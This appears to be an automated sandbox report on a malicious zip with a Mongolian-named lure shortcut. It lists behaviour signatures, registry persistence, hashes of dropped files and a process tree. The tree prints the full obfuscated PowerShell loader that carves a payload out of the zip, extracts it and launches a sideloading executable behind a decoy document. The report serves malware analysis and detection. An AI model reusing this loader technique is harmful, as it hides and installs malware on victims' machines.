Resubmissions
09/08/2026, 16:32
260809-t11pps1hne709/08/2026, 15:21
260809-srlzhs1akc709/08/2026, 14:06
260809-repzzasvb1709/08/2026, 14:04
260809-rdcm9asths702/06/2026, 12:38
260602-pt73zsew5q01/06/2026, 01:40
260601-b31hlsdw2p824/04/2026, 07:50
260424-jpbw4acx4q324/04/2026, 07:48
260424-jnl1nscx2m724/04/2026, 07:47
260424-jmtzwsbx6v702/04/2026, 10:54
260402-mzmm5agy3r7Analysis
- user interaction
yes - max time kernel
1799s - max time network
1799s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
09/08/2026, 16:32
Static task
static1
Behavioral task
behavioral1
Sample
ЕС-аас Хөндөж болзошгүй асуудал.zip
Resource
win10v2004-20260513-en
windows10-2004-x64
19 signatures
900 seconds
General
- Target ЕС-аас Хөндөж болзошгүй асуудал.zip
- Size 655KB
- Sample260809-t11pps1hne
- SHA256 a059d70e4f9095f167bd34ea4dfdab33be8f599907daefbd05f2ba3f2d6302be
- MD5 20063941491e5727cb2cbf824c656294
- SHA1 f99cf85b16f054713aedc017011803a45e3f3114
- SHA512 4f277557099ef5233dd8e51e09ae58bc479279eb3ece3c9a45bd58e3a014949265154adb8fc4f70d387eca74c656ff5202b7a83d6e4738b33c8cc6b803600849
- SSDEEP 12288:wdIM5CKurUbWLD596+I9sRTSnwFJqs7rR04bqDY001b7undDG0:wdIM5CK4UbWLDolYMs3R04bCI1fui0
- TLSH T1A6E4BE01FFA09135E16B167248D6B2710A3FBEB54BB089C7BB91071A4B302D5B9376F6
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation CNMNSST.exe - Executes dropped EXE 2 IoCs
pid Process 2752 CNMNSST.exe 5704 CNMNSST.exe - Loads dropped DLL 2 IoCs
pid Process 2752 CNMNSST.exe 5704 CNMNSST.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Canon = "\"C:\\Users\\Public\\Canon\\CNMNSST.exe\" 747 148" CNMNSST.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CNMNSST.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CNMNSST.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Kills process with taskkill 1 IoCs
pid Process 2152 taskkill.exe - Modifies registry class 13 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings CNMNSST.exe Key created \REGISTRY\MACHINE\Software\CLASSES\ms-pu CNMNSST.exe Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\ms-pu CNMNSST.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\ms-pu\CLSID = 37003700460032004600330045004100350039003600430042003100370035000000 CNMNSST.exe Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU taskmgr.exe Set value (data) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 taskmgr.exe Key created \REGISTRY\MACHINE\Software\CLASSES\ms-pu CNMNSST.exe Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 taskmgr.exe Set value (data) \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 taskmgr.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4180 WINWORD.EXE 4180 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 732 powershell.exe 732 powershell.exe 732 powershell.exe 456 powershell.exe 456 powershell.exe 456 powershell.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5296 taskmgr.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeRestorePrivilege 208 7zG.exe Token: 35 208 7zG.exe Token: SeSecurityPrivilege 208 7zG.exe Token: SeSecurityPrivilege 208 7zG.exe Token: SeDebugPrivilege 732 powershell.exe Token: SeDebugPrivilege 456 powershell.exe Token: SeDebugPrivilege 2152 taskkill.exe Token: SeDebugPrivilege 5296 taskmgr.exe Token: SeSystemProfilePrivilege 5296 taskmgr.exe Token: SeCreateGlobalPrivilege 5296 taskmgr.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 208 7zG.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe 5296 taskmgr.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE 4180 WINWORD.EXE - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 732 wrote to memory of 5252 732 powershell.exe 111 PID 732 wrote to memory of 456 732 powershell.exe 112 PID 456 wrote to memory of 2752 456 powershell.exe 113 PID 2752 wrote to memory of 2152 2752 CNMNSST.exe 114 PID 2752 wrote to memory of 4180 2752 CNMNSST.exe 116
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.zip"1⤵PID:5700
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:2180
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap7939:122:7zEvent237341⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:208
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$dcxtboewo = (ls -Pa $Home -Re -in 'ЕС-аас Х?нд?ж болзошг?и? асуудал.zip')[0].fullname;$nugcjmw = [SyStem.IO.File]::OpenReAd($dcxtboewo); $jpjlvlwrj = NeW-ObjEct byte[] $nugcjmw.Length; $nugcjmw.Read($jpjlvlwrj, 0, $jpjlvlwrj.Length); $nugcjmw.Close();$lwjap='wRi'+'tEAlL'+'bYtEs';$uysqzmr=1164; ;;[SySTem.IO.FIle]::$lwjap($Env:LocalAppdata+'\\rlylgjvgdr.so', $jpjlvlwrj[$uysqzmr..($uysqzmr+669696-1)]); ; TaR -xvf $Env:LocalAppdata\rlylgjvgdr.so -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe;"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\rlylgjvgdr.so -C C:\Users\Admin\AppData\Local2⤵PID:5252
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe"C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im iediagcmd.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2152
-
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.docx" /o ""4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4180
-
-
-
-
C:\Users\Public\Canon\CNMNSST.exe"C:\Users\Public\Canon\CNMNSST.exe" 747 1481⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5704
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5296
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 ead0a58a1b853fd1354b12515680e884e605b6cb54c1c715dda260cd94483e8b
- MD5 b5fae47b818f80fc5f8a040a28c5529a
- SHA1 e49205126d14221c4cca1bbe44440b86cc9bf196
- SHA512 0f809836e93537078d8aba89dc09be213640133dbabc4dd1a27c7711e11a7c0ed2188be527f095bf3a479a439734f0729c286b25618a803e044e8baf283f91ba
- TLSH T13C215927B3DC8921CC86113A109D9C1176B583D7819EDF9F6BC4D614A17F599CB21194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNCLID.dll
- Size 87KB
- SHA256 5884563b28cd4b470066780003b1c8e2a6025d453ae3e80dcea6891a3944db60
- MD5 5bad8c2e9fe2e66259c0b062c573444f
- SHA1 a306231340ac52c12f7efd61e4d05010a97bf0e8
- SHA512 7718357c7a14b62d3a09ed6fb8205d15b4ec2b86bcf6646926ab17353b91b028b3d2a2c6c8b97d8e1986ea92b53da44c39725bcd2532c2a1c505c709956c8041
- SSDEEP 1536:FUaf8u/Z1sRl757SHgKRHS0Te3jweNL1Fj5do3Sa3bsW1qcdyuWWIFJ:FUakuhiRlt7SHHNTe3Pw3l3ryuWWIFJ
- TLSH T15B937D0176D1C471DABE1A351874E6A14B3D7D20DEA0DD6B279A0ABE4F302C0DE35E6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe
- Size 272KB
- SHA256 53086e3b557a1d21cf7f4ffc73d92c39b08872334a8cdb09dda0a06bd060cfe9
- MD5 adb67ffe941a706b6343f94413f6e5f2
- SHA1 49e02aee84df430d7ae448d7cd722401f8a2c9f5
- SHA512 9f44d484e6ece3183ab2079b07a30a234c3537fe59756adcc768ac8cb62de77681d3685645dbfb6eb35bd28018680ff32449a788930e6e98dad36295685e468d
- SSDEEP 6144:hs7qbi3R8Yixur04bvSDY001dfdUkuSwdlzC1ZWG2:hs7rR04bqDY001b7undDG2
- TLSH T1D954AE1176E2E0B1E893023048E6AB365D3DBE714B6445D7F3944B4F6E303D2AA3A797
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\Canon.dat
- Size 290KB
- SHA256 58101378fc8b3b7f989f7a4336a5c5de49effdd38f854d96dcee7ebedec09b57
- MD5 f5a8f705050c161477d4a6cd5380d506
- SHA1 8ca8832fb9e4a27b33dd91215073dc5940dcc723
- SHA512 888157f120c9dbc45c4b673f92a8a8dd39ca42c8d734bb24c0b4ec9c52c0b6f5ea83958476618e48dc9c9dd37c504949840ded7ac4dd073506597d9e5037f365
- SSDEEP 6144:53dIM5Cs0nTgq+ESoEpd/QeaUiBT1Xy4FJpLD5E2Dw7JuE+Jcv:pdIM5CKurUbWLD596+4
- TLSH T19054BF09CF245738B11776BB89C671B1092BDEF956B045C7BC92021483BA4EDB0BB6F6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\TCDBA71.tmp\iso690.xsl
- Size 263KB
- SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
- MD5 ff0e07eff1333cdf9fc2523d323dd654
- SHA1 77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
- SHA512 b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
- SSDEEP 6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
- TLSH T1094469A5E6D9CF144BB1F23FD8A53092EA1DC87B29341D41F1DC733717AE948822B662
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zqd2li21.f3q.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.docx
- Size 20KB
- SHA256 b6f272a5cc70010037b184d2dcb5ebcee8414eb93f63698b31f3648e9d47ca68
- MD5 7e3524d0b97d3c51dd0c10ef76656acd
- SHA1 5bdb31becf3d1190578d08b70108fb9c24a26fa3
- SHA512 70e436439f5ed0dac2516b618c6278fe8f2ffc196856485fb62e6bf123f2a639e2073ed5df60e0440a060d987375fe79e3774c61dcac4e117f8077d0af23b037
- SSDEEP 384:5z2OmsUkAm00pN6Ae4uLgB7+5uI+FyBK/ckj+s0kkQL1wWo:J2OmFarVe4kgB7+5uI+wBK/x+s0kZwX
- TLSH T15A92AF70DA698A33D202D3F063140B5FE739E465C446E3667CC551DC8A82CBE4EBBA0E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\rlylgjvgdr.so
- Size 654KB
- SHA256 4e90183d8d7bbd3ae470f212183f08c8ea9552376bc1e6c212fdae0029a95330
- MD5 2d427d25223dc551867c1e7fbd298abb
- SHA1 040ce36c59b88acf7e3173b06e74f9d59ed64b19
- SHA512 4ebfeb3b2a4d755f6b4d6a3bafdfa6a7189596b7c0133de9bc34377fce06b8ecaef5ba95c151cf8ec608c49921c7652356b29db3aded3e3027e508adf50ee947
- SSDEEP 12288:XdIM5CKurUbWLD596+I9sRTSnwFJqs7rR04bqDY001b7undDG:XdIM5CK4UbWLDolYMs3R04bCI1fui
- TLSH T16BE4BE01FFA09135E16B167248D6B2710A3FBEB54BB089C7BB91071A4B302D5B9376F6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex
- Size 2B
- SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
- MD5 f3b25701fe362ec84616a93a45ce9998
- SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
- SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
- Size 3KB
- SHA256 c54d5bb0dae6c4611ceb02a211effd62ab0523cc2ed84f9466477e3e9aeb90ef
- MD5 d54f520b65ae115d5b4d7ae19b7066e7
- SHA1 390c084777969c242f82c89a1191c678490ff5aa
- SHA512 49fc777f690046b6e1e16945ed50d63c89ad8953bc5db27f332ea9196989068b11152c5440a89775f752eecaef2d4efa23e7af5c66d384d9401cc345d3f152be
- TLSH T1DA81EC02079F2B66E07443B55237831AD7317C82E705366D2688166B6D39E809F8DB6F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Desktop\ЕС-аас Хөндөж болзошгүй асуудал.lnk
- Size 2KB
- SHA256 ddcf3af805f277e33c0a50c757789b4bc835b97e4a065e54d97e6dd4a7b280c1
- MD5 43a7078411a39ba9d798496104c448a8
- SHA1 e74e5ca6f901ff44f0eb0c1c4fc161b72a5526bd
- SHA512 835c8eddbe44987122ab0f01c9794cd0e099ec669e9faf467ff67127ce4b039a467faafcce69a984565d3db19ffffadf7e6ca6621662d44a08f821933294bc1b
- TLSH T1EB419D0066E11219F6735B35BCBFB7509ABBB974E6368A8E315C80180FB5710A866F36
- MD5 SHA1 SHA512 TLSH